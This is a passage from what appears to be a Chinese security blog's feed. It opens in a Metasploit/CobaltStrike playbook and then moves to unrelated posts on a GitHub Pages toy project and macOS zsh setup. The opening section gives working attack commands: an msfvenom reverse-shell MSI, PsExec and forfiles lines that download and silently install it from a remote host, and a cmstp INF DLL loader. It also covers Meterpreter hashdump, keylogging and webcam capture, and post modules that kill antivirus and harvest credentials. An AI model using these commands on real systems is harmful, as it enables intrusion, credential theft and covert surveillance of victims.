class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.31.39 LPORT=6666 -f msi &gt; go.msi</span><br></pre></td></tr></table></figure><p>使用 python 服务器模拟远程 VPS</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PsExec.exe <span class="literal">-d</span> <span class="literal">-s</span> msiexec.exe /q /i http://<span class="number">192.168</span>.<span class="number">31.39</span>:<span class="number">8000</span>/go.msi</span><br></pre></td></tr></table></figure><blockquote><p>缺点：第一次运行会弹窗</p></blockquote><h3 id="基于白名单-Forfiles-远程加载-Payload-上线"><a href="#基于白名单-Forfiles-远程加载-Payload-上线" class="headerlink" title="基于白名单 Forfiles 远程加载 Payload 上线"></a>基于白名单 Forfiles 远程加载 Payload 上线</h3><p>Forfiles 为 Windows 默认安装的文件操作搜索工具之一，可根据日期，后缀名，修改日期为条件。常与批处理配合使用。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">forfiles /p c:\windows\system32 /m cmd.exe /c  <span class="string">&quot;msiexec.exe /q /i http://192.168.31.39:8000/go.msi&quot;</span></span><br></pre></td></tr></table></figure><blockquote><p>缺点：需要让攻击者手动点击安装，还需要过UAC</p></blockquote><h3 id="基于白名单-Pcalua-上线"><a href="#基于白名单-Pcalua-上线" class="headerlink" title="基于白名单 Pcalua 上线"></a>基于白名单 Pcalua 上线</h3><p>Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Pcalua <span class="literal">-m</span> <span class="literal">-a</span> l.exe</span><br></pre></td></tr></table></figure><h3 id="基于白名单Cmstp-exe-上线"><a href="#基于白名单Cmstp-exe-上线" class="headerlink" title="基于白名单Cmstp.exe 上线"></a>基于白名单Cmstp.exe 上线</h3><p>新建 l.inf 文件 修改 RegisterOCXSection 为 MSF生成的dll路径</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[version]</span><br><span class="line">Signature&#x3D;$chicago$</span><br><span class="line">AdvancedINF&#x3D;2.5</span><br><span class="line"> </span><br><span class="line">[DefaultInstall_SingleUser]</span><br><span class="line">RegisterOCXs&#x3D;RegisterOCXSection</span><br><span class="line"> </span><br><span class="line">[RegisterOCXSection]</span><br><span class="line">C:\Users\Pow\Desktop\go.dll</span><br><span class="line"> </span><br><span class="line">[Strings]</span><br><span class="line">AppAct &#x3D; &quot;SOFTWARE\Microsoft\Connection Manager&quot;</span><br><span class="line">ServiceName&#x3D;&quot;saul&quot;</span><br><span class="line">ShortSvcName&#x3D;&quot;saul&quot;</span><br></pre></td></tr></table></figure><p> 把 go.dll 和 l.inf 上传，运行命令加载上线</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cmstp.exe /s l.inf</span><br></pre></td></tr></table></figure><blockquote><p><a href="https://micro8.gitbook.io/micro8/contents-1/71-80">https://micro8.gitbook.io/micro8/contents-1/71-80</a></p></blockquote><h1 id="Meterpreter用例"><a href="#Meterpreter用例" class="headerlink" title="Meterpreter用例"></a>Meterpreter用例</h1><p>刚获得<code>Meterpreter Shell</code>时，该Shell是极其脆弱的，可以把它和目标机中一个稳定的程序绑定</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">getpid<span class="comment">#查看当前Meterpreter Shell的进程号</span></span><br><span class="line">ps<span class="comment">#获取目标机正运行的进程</span></span><br><span class="line">migrate 476<span class="comment">#将shell迁移到PID为786的进程中</span></span><br></pre></td></tr></table></figure><h2 id="命令摘要"><a href="#命令摘要" class="headerlink" title="命令摘要"></a>命令摘要</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">pwd</span>、ls、<span class="built_in">cd</span></span><br><span class="line">getuid<span class="comment">#查看当前权限</span></span><br><span class="line">getsystem<span class="comment">#获得系统管理员权限（要本地管理员权限运行）</span></span><br><span class="line">hashdump<span class="comment">#抓哈希密码</span></span><br><span class="line">sysinfo<span class="comment">#查看系统信息</span></span><br><span class="line">idletim     <span class="comment">#查看目标系统已运行时间</span></span><br><span class="line">route<span class="comment">#查看目标机完整网络设置</span></span><br><span class="line">shell<span class="comment">#进入目标机shell，exit退出she</span></span><br><span class="line">background<span class="comment">#将meterpreter隐藏在后台</span></span><br><span class="line"></span><br><span class="line">upload ./1.txt c:\\1.txt<span class="comment">#上传文件</span></span><br><span class="line">download c:\1.txt ./<span class="comment">#下载文件</span></span><br><span class="line">search -f *.txt -d c://<span class="comment">#搜索文件</span></span><br><span class="line"></span><br><span class="line">keyscan_start<span class="comment">#启动键盘记录</span></span><br><span class="line">keyscan_stop<span class="comment">#停止键盘记录</span></span><br><span class="line">keyscan_dump<span class="comment">#转储键盘记录的内容</span></span><br><span class="line">screenshot<span class="comment">#抓取截屏</span></span><br><span class="line">webcam_list<span class="comment">#摄像头列表</span></span><br><span class="line">webcam_snap<span class="comment">#摄像头拍照</span></span><br><span class="line">webcam_stream<span class="comment">#抓取视频</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Kali-Linux下登录远程桌面</span></span><br><span class="line">sudo rdesktop -f 目标IP</span><br><span class="line"></span><br><span class="line">route add IP 子网掩码    <span class="comment">#添加路由，先background</span></span><br></pre></td></tr></table></figure><h1 id="后渗透模块（Post）"><a href="#后渗透模块（Post）" class="headerlink" title="后渗透模块（Post）"></a>后渗透模块（Post）</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">run post/windows/gather/checkvm<span class="comment">#检查目标是否虚拟机</span></span><br><span class="line">run post/linux/gather/checkvm</span><br><span class="line">run post/windows/manage/killav<span class="comment">#关闭杀软</span></span><br><span class="line">run post/windows/manage/enable_rdp<span class="comment">#开启目标远程桌面</span></span><br><span class="line">run post/windows/gather/enum_logged_on_users<span class="comment">#列举当前登陆用户，和最近登陆过的用户</span></span><br><span class="line">run post/windows/gather/enum_applications<span class="comment">#列举应用程序</span></span><br><span class="line">run post/windows/gather/smart_hashdump     <span class="comment">#智能读 hash</span></span><br><span class="line">run windows/gather/credentials/windows_autologin<span class="comment">#列举自动登陆的用户名和密码</span></span><br></pre></td></tr></table></figure><h1 id="派生-Shell-给-CobaltStrike"><a href="#派生-Shell-给-CobaltStrike" class="headerlink" title="派生 Shell 给 CobaltStrike"></a>派生 Shell 给 CobaltStrike</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">background</span><br><span class="line">use exploit/windows/<span class="built_in">local</span>/payload_inject</span><br><span class="line"><span class="built_in">set</span> payload windows/meterpreter/reverse_http</span><br><span class="line"><span class="built_in">set</span> LHOST xx.x.x.x  <span class="comment"># CS IP</span></span><br><span class="line"><span class="built_in">set</span> LPORT xx        <span class="comment"># CS http监听端口</span></span><br><span class="line"><span class="built_in">set</span> session 1</span><br><span class="line"><span class="built_in">set</span> DISABLEPAYLOADHANDLER <span class="literal">true</span></span><br><span class="line">run</span><br></pre></td></tr></table></figure><h1 id="CS-派生-MSF"><a href="#CS-派生-MSF" class="headerlink" title="CS 派生 MSF"></a>CS 派生 MSF</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">use exploit/multi/handler</span><br><span class="line"><span class="built_in">set</span> payload windows/meterpreter/reverse_http</span><br><span class="line"><span class="built_in">set</span> lhost xx.xx.xx.xx</span><br><span class="line"><span class="built_in">set</span> lport xx</span><br><span class="line">run</span><br></pre></td></tr></table></figure><p>选择 foreign 类型的监听进行 Spawn，填写MSF 的 IP 和监听端口</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210704223435.png" alt="image-20210704223435428"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;MSF-作战手册及联动-CobaltStrike&quot;&gt;&lt;a href=&quot;#MSF-作战手册及联动-CobaltStrike&quot; class=&quot;headerlink&quot; title=&quot;MSF 作战手册及联动 CobaltStrike&quot;&gt;&lt;/a&gt;MSF 作战手册及联动 Co</summary>
      
    
    
    
    <category term="Tools" scheme="https://www.lintstar.top/categories/Tools/"/>
    
    
    <category term="CobaltStrike" scheme="https://www.lintstar.top/tags/CobaltStrike/"/>
    
    <category term="Attack" scheme="https://www.lintstar.top/tags/Attack/"/>
    
    <category term="Metasploit" scheme="https://www.lintstar.top/tags/Metasploit/"/>
    
  </entry>
  
  <entry>
    <title>安装 YunYouJun 牌云空调</title>
    <link href="https://www.lintstar.top/2021/05/b5afb4fa.html"/>
    <id>https://www.lintstar.top/2021/05/b5afb4fa.html</id>
    <published>2021-05-10T14:22:22.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>今天有幸看到了一款精致的云空调：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511002006.png" alt="image-20210511002006017"></p><p><strong>一看链接 <a href="https://ac.yunyoujun.cn/">https://ac.yunyoujun.cn/</a></strong></p><p><strong>职业病点进了 Gayhub 看到了这个好玩的项目：<a href="https://github.com/YunYouJun/air-conditioner/">air-conditioner</a></strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511002408.png" alt="image-20210511002407999"></p><p><strong>主人也很可爱阿： <a href="https://www.yunyoujun.cn/posts/air-conditioner/">https://www.yunyoujun.cn/posts/air-conditioner/</a></strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511011209.png" alt="image-20210511011209845"></p><h1 id="云空调体验馆"><a href="#云空调体验馆" class="headerlink" title="云空调体验馆"></a>云空调体验馆</h1><blockquote><p><strong>❄️ 云空调，便携小空调，为你的夏日带去清凉！</strong></p></blockquote><p><strong>那么它能做什么呢？没错，随时随地打开空调。唯一的缺憾是，没有风。但我们也许可以「望空调止热」。</strong></p><p><strong>欢迎来到空调房：</strong></p><hr><iframe height="740" frameborder="no" src="https://ac.lintstar.top"></iframe><hr><p><strong>这个 iframe 嵌入的 markdown 语法为：</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">---</span><br><span class="line"></span><br><span class="line"><span class="xml"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">height</span>=<span class="string">&quot;740&quot;</span> <span class="attr">frameborder</span>=<span class="string">&quot;no&quot;</span> <span class="attr">src</span>=<span class="string">&quot;https://ac.lintstar.top&quot;</span>&gt;</span></span><span class="xml"><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span></span><br><span class="line"></span><br><span class="line">---</span><br></pre></td></tr></table></figure><blockquote><p><strong>才知道两组 — 包起来 居然可以有这个作用</strong></p></blockquote><p><strong><code>Delivery - 2021</code>  表示该云空调产于 2021 年 ~</strong></p><h1 id="移动款裸机"><a href="#移动款裸机" class="headerlink" title="移动款裸机"></a>移动款裸机</h1><p> <strong><a href="https://ac.lintstar.top/">https://ac.lintstar.top</a></strong></p><h1 id="安装云空调"><a href="#安装云空调" class="headerlink" title="安装云空调"></a>安装云空调</h1><blockquote><p><strong>“ 遵从最宽松的 MIT 协议，你可以自行 <code>clone</code> 本项目，并自定义地构建它 ”</strong></p></blockquote><p><strong>听从云游君的建议 新建了仓库 air-conditioner</strong> </p><p><strong>1. 首先克隆了云游君 master 的仓库 pull 到了自己的 main分支</strong></p><p><strong>2. 新建自己的 workflow</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511013159.png" alt="image-20210511013159308"></p><p><strong>3. 命名为 gh-pages.yml 内容如下</strong></p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Github</span> <span class="string">Pages</span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="attr">branches:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">main</span> <span class="comment"># Set a branch name to trigger deployment</span></span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line">  <span class="attr">deploy:</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/checkout@v2</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Setup</span> <span class="string">Node</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/setup-node@v1</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">node-version:</span> <span class="string">&quot;12.x&quot;</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Build</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">yarn</span> <span class="string">&amp;&amp;</span> <span class="string">yarn</span> <span class="string">build</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Deploy</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">peaceiris/actions-gh-pages@v3</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">github_token:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.GITHUB_TOKEN</span> <span class="string">&#125;&#125;</span></span><br><span class="line">          <span class="attr">publish_dir:</span> <span class="string">./build</span></span><br><span class="line">          <span class="attr">force_orphan:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>坑点是注意分支一定要改成 main 不然 actions 跑不起来</strong></p></blockquote><p><strong>4. 开启 GithubPage 选在 gh-pages 分支</strong></p><p><strong>5. 修改 package.json 的 homepage 同时触发 Actions 安装我们的云空调</strong></p><p><strong>6. 安装成功：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210510234704.png" alt="image-20210510234704543"></p><blockquote><p><strong>触发工作流程详见：<a href="https://docs.github.com/cn/actions/reference/events-that-trigger-workflows">https://docs.github.com/cn/actions/reference/events-that-trigger-workflows</a></strong></p></blockquote><h1 id="解析到子域名"><a href="#解析到子域名" class="headerlink" title="解析到子域名"></a>解析到子域名</h1><blockquote><p><strong>但是这个链接的形式并不快乐</strong> </p><p><strong>目标是把小空调放到子域名 ac.lintstar.top</strong></p></blockquote><p><strong>先把 ac.lintstar.top 解析到主站的 Github Pages</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210510235130.png" alt="image-20210510235130117"></p><p><strong>关键在这里：自定义域允许您从其他域为站点提供服务<a href="http://www.lintstar.top/">www.lintstar.top</a></strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210510235346.png" alt="image-20210510235346406"></p><p><strong>等待域名厂商的 DNS 解析核查通过后勾选 HTTPS</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511001634.png" alt="image-20210511001634035"></p><p><strong>设置成功后 正常解析了：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511001706.png" alt="image-20210511001706388"></p><blockquote><p><strong>解锁了新姿势阿 之前一直以为只能一个 CNAME 解析 感觉又可以有新花样玩了</strong></p></blockquote><p><strong>回到 安装云空调 修改 <a href="https://github.com/lintstar/air-conditioner/blob/main/package.json">package.json</a> 中的 homepage</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511012833.png" alt="image-20210511012833791"></p><p><strong>成功解析到子域名 ~</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511003459.png" alt="image-20210511003459651"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;今天有幸看到了一款精致的云空调：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src= &quot;/img/loading.gif&quot; </summary>
      
    
    
    
    <category term="Fun" scheme="https://www.lintstar.top/categories/Fun/"/>
    
    
    <category term="GithubAction" scheme="https://www.lintstar.top/tags/GithubAction/"/>
    
    <category term="Workflows" scheme="https://www.lintstar.top/tags/Workflows/"/>
    
    <category term="GithubPages" scheme="https://www.lintstar.top/tags/GithubPages/"/>
    
  </entry>
  
  <entry>
    <title>MacOS Big Sur 配置及使用记录</title>
    <link href="https://www.lintstar.top/2021/04/4b5824a3.html"/>
    <id>https://www.lintstar.top/2021/04/4b5824a3.html</id>
    <published>2021-04-20T15:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<p><strong>作为近几年以来变化最大的 macOS 更新，macOS Big Sur 对内置应用的图标、应用的设计语言、桌面的程序坞和菜单栏等方面都进行了重新设计，拟物化的风格深得人心。</strong></p><p><strong>虽说 “BugSur” 的名号不是白来的，但是在我近半年的使用体验来看，暂时没有遇到过实在无法解决的问题，所以还是很推荐有 “余力” 的 Mac 升级 BigSur 的，拥抱新事物总会有令人开心的地方 ~</strong> </p><p><strong>本文会不断记录使用过程中遇到的各种问题，以及能提升幸福感的 macOS 配置。</strong></p><h1 id="Mac-配置"><a href="#Mac-配置" class="headerlink" title="Mac 配置"></a>Mac 配置</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511124753.png" alt="image-20210511124753664"></p><hr><h1 id="系统快捷键"><a href="#系统快捷键" class="headerlink" title="系统快捷键"></a>系统快捷键</h1><table><thead><tr><th>剪切、拷贝、粘贴和其他常用快捷键</th><th></th></tr></thead><tbody><tr><td><code>Command</code> + <code>X</code></td><td>剪切所选项并拷贝到剪贴板</td></tr><tr><td><code>Command</code> + <code>C</code></td><td>将所选项拷贝到剪贴板。这同样适用于“访达”中的文件</td></tr><tr><td><code>Command</code> + <code>V</code></td><td>将剪贴板的内容粘贴到当前文稿或 App 中。这同样适用于“访达”中的文件</td></tr><tr><td><code>Command</code> + <code>Z</code></td><td>撤销上一个命令。随后您可以按 Shift + Command + Z 来重做，从而反向执行撤销命令。在某些 App 中，您可以撤销和重做多个命令</td></tr><tr><td><code>Command</code> + <code>A</code></td><td>全选各项</td></tr><tr><td><code>Command</code> + <code>F</code></td><td>查找文稿中的项目或打开“查找”窗口</td></tr><tr><td><code>Command</code> + <code>G</code></td><td>再次查找：查找之前所找到项目出现的下一个位置。要查找出现的上一个位置，请按 Shift + Command + G</td></tr><tr><td><code>Command</code> + <code>H</code></td><td>隐藏最前面的 App 的窗口。要查看最前面的 App 但隐藏所有其他 App，请按 Option + Command + H</td></tr><tr><td><code>Command</code> + <code>M</code></td><td>将最前面的窗口最小化至“程序坞”。要最小化最前面的 App 的所有窗口，请按 Option + Command + M</td></tr><tr><td><code>Command</code> + <code>O</code></td><td>打开所选项，或打开一个对话框以选择要打开的文件</td></tr><tr><td><code>Command</code> + <code>P</code></td><td>打印当前文稿</td></tr><tr><td><code>Command</code> + <code>S</code></td><td>存储当前文稿</td></tr><tr><td><code>Command</code> + <code>T</code></td><td>打开新标签页</td></tr><tr><td><code>Command</code> + <code>W</code></td><td>关闭最前面的窗口。要关闭 App 的所有窗口，请按下 Option + Command + W</td></tr><tr><td><code>Option</code> + <code>Command</code> + <code>Esc</code></td><td>强制退出 App</td></tr><tr><td><code>Command</code> + <code>空格键</code></td><td>显示或隐藏“聚焦”搜索栏。要从“访达”窗口执行“聚焦”搜索，请按 Command + Option + 空格键。</td></tr><tr><td><code>Control</code> + <code>Command</code> + <code>空格键</code></td><td>显示字符检视器，您可以从中选择表情符号和其他符号</td></tr><tr><td><code>Control</code> + <code>Command</code> + <code>F</code></td><td>全屏使用 App（如果 App 支持）</td></tr><tr><td><code>空格键</code></td><td>使用快速查看来预览所选项</td></tr><tr><td><code>Command</code> + <code>Tab</code></td><td>在打开的 App 中切换到下一个最近使用的 App</td></tr><tr><td><code>Shift</code> + <code>Command</code> + <code>5</code></td><td>在 macOS Mojave 或更高版本中，拍摄截屏或录制屏幕。也可以使用 Shift + Command + 3 或 Shift + Command + 4 来拍摄截屏。</td></tr><tr><td><code>Shift</code> + <code>Command</code> + <code>N</code></td><td>在“访达”中创建一个新文件夹</td></tr><tr><td><code>Command</code> + <code>,</code> (逗号)</td><td>打开最前面的 App 的偏好设置</td></tr></tbody></table><hr><h1 id="—-软件-—"><a href="#—-软件-—" class="headerlink" title="— 软件 —"></a>— 软件 —</h1><blockquote><p><strong>核心生产力：<a href="https://macwk.com/">https://macwk.com/</a></strong></p></blockquote><h1 id="iTerm2"><a href="#iTerm2" class="headerlink" title="iTerm2"></a>iTerm2</h1><p>macOS 灵魂软件</p><p>配置效果：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511125327.png" alt="image-20210511125327640"></p><h2 id="Zsh"><a href="#Zsh" class="headerlink" title="Zsh"></a>Zsh</h2><p>zsh 是一款功能强大的 shell 软件，它可以兼容 bash，并且提供了很多高效的改进。它是Linux里最庞大的一种shell，它有84个内部命令，也提供了更为强大的功能:</p><ul><li>更好的自动补全</li><li>更好的文件名展开</li><li>丰富的插件</li><li>强大的定制性</li></ul><h3 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim .zshrc</span><br></pre></td></tr></table></figure><h3 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">78 <span class="comment"># Which plugins would you like to load?</span></span><br><span class="line">79 <span class="comment"># Standard plugins can be found in $ZSH/plugins/</span></span><br><span class="line">80 <span class="comment"># Custom plugins may be added to $ZSH_CUSTOM/plugins/</span></span><br><span class="line">81 <span class="comment"># Example format: plugins=(rails git textmate ruby lighthouse)</span></span><br><span class="line">82 <span class="comment"># Add wisely, as too many plugins slow down shell startup.</span></span><br><span class="line">83 plugins=(</span><br><span class="line">84         git</span><br><span class="line">85         zsh-autosuggestions</span><br><span class="line">86         autojump</span><br><span class="line">87         zsh-syntax-highlighting</span><br><span class="line">88 )</span><br><span class="line">89</span><br><span class="line">90 [ -f /usr/<span class="built_in">local</span>/etc/profile.d/autojump.sh ] &amp;&amp; . /usr/<span class="built_in">local</span>/etc/profile.d/autojump.sh</span><br><span class="line">91 <span class="built_in">source</span> <span class="variable">$ZSH</span>/oh-my-zsh.sh</span><br></pre></td></tr></table></figure><h3 id="软链接"><a href="#软链接" class="headerlink" title="软链接"></a>软链接</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ln -s /Users/lintstar/opt/anaconda3 /usr/<span class="built_in">local</span>/bin/anaconda</span><br><span class="line">ln -s /Users/lintstar/Library/Python/3.8/bin/virtualenv /usr/<span class="built_in">local</span>/bin</span><br><span class="line"></span><br><span class="line">ln -s /Users/lintstar/Tools/attack/fscan/fscan /usr/<span class="built_in">local</span>/bin</span><br><span class="line">ln -s /Users/lintstar/Tools/subfinder/subfinder /usr/<span class="built_in">local</span>/bin</span><br><span class="line">ln -s /Users/lintstar/Tools/Attack/httpx/httpx /usr/<span class="built_in">local</span>/bin</span><br></pre></td></tr></table></figure><p><strong>刷新 Zsh</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">source</span> ~/.zshrc</span><br></pre></td></tr></table></figure><h2 id="oh-my-zsh"><a href="#oh-my-zsh" class="headerlink" title="oh my zsh"></a>oh my zsh</h2><blockquote><p>由于 zsh 配置过于复杂，一般情况下，我们不会使用该 shell，直到「oh my zsh」的出现。</p></blockquote><p><a href="http://ohmyz.sh/">Oh My Zsh</a> 是一款社区驱动的命令行工具，正如它的主页上说的，Oh My Zsh 是一种生活方式。</p><p>它基于zsh命令行，提供了主题配置，插件机制，已经内置的便捷操作，给我们一种全新的方式使用命令行。</p><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><p><strong>在 .zshrc 中编辑</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">16 <span class="comment"># Path to your oh-my-zsh installation.</span></span><br><span class="line">17 <span class="built_in">export</span> ZSH=<span class="string">&quot;/Users/lintstar/.oh-my-zsh&quot;</span></span><br><span class="line">18</span><br><span class="line">19 <span class="comment"># Set name of the theme to load --- if set to &quot;random&quot;, it will</span></span><br><span class="line">20 <span class="comment"># load a random theme each time oh-my-zsh is loaded, in which case,</span></span><br><span class="line">21 <span class="comment"># to know which specific one was loaded, run: echo $RANDOM_THEME</span></span><br><span class="line">22 <span class="comment"># See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes</span></span><br><span class="line">23 ZSH_THEME=<span class="string">&quot;myys&quot;</span></span><br></pre></td></tr></table></figure><h3 id="myys-主题"><a href="#myys-主题" class="headerlink" title="myys 主题"></a>myys 主题</h3><p><strong>主题位置</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ cd ~&#x2F;.oh-my-zsh&#x2F;themes</span><br></pre></td></tr></table></figure><p><strong>myys.zsh-theme</strong> </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span 